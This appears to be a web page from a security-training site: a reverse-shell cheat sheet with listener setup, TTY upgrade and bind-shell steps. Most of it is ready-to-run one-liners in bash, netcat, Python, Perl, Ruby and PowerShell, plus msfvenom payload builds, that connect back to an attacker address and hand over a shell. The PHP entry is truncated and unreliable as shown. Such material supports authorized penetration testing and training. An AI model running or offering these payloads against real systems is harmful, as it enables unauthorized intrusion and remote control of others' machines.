Reverse Shell

One-liners for bash, python, nc, php, PowerShell & msfvenom + TTY upgrade

Reverse Shell Cheat Sheet

Every reverse shell one-liner you need (bash, python, nc, php, PowerShell, msfvenom) plus how to upgrade to a fully interactive TTY. Start a listener, fire a payload, catch the shell. For authorized testing only.

1. Start your listener first

nc -lvnp 4444
# or, better (handles TTY upgrades):
rlwrap nc -lvnp 4444

Set your IP + port once and reuse them: IP=10.10.14.5 PORT=4444.

2. Bash

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
0<&196;exec 196<>/dev/tcp/10.10.14.5/4444; sh <&196 >&196 2>&196

3. Netcat

nc 10.10.14.5 4444 -e /bin/bash
nc -e /bin/sh 10.10.14.5 4444
# no -e support? use the mkfifo trick:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f

4. Python

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

5. PHP

php -r '$sock='

6. Perl / Ruby

perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby -rsocket -e'f=TCPSocket.open("10.10.14.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

7. PowerShell (Windows)

powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}"

8. msfvenom payloads

# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf
# Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe
# PHP
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php
# War (Java/Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o shell.war

9. Upgrade to a full TTY

A raw shell has no tab-complete, arrows, or Ctrl-C. Fix it:

# in the shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# press Ctrl-Z to background, then on YOUR box:
stty raw -echo; fg
# back in the shell:
export TERM=xterm

10. Bind shell (when you can't get a reverse out)

# target listens:
nc -lvnp 4444 -e /bin/bash
# you connect:
nc TARGET_IP 4444

Use these only on machines you own or are authorized to test. Practice catching shells safely on the AYSEC pwn + web challenges. See also the nmap and Linux privilege escalation cheat sheets.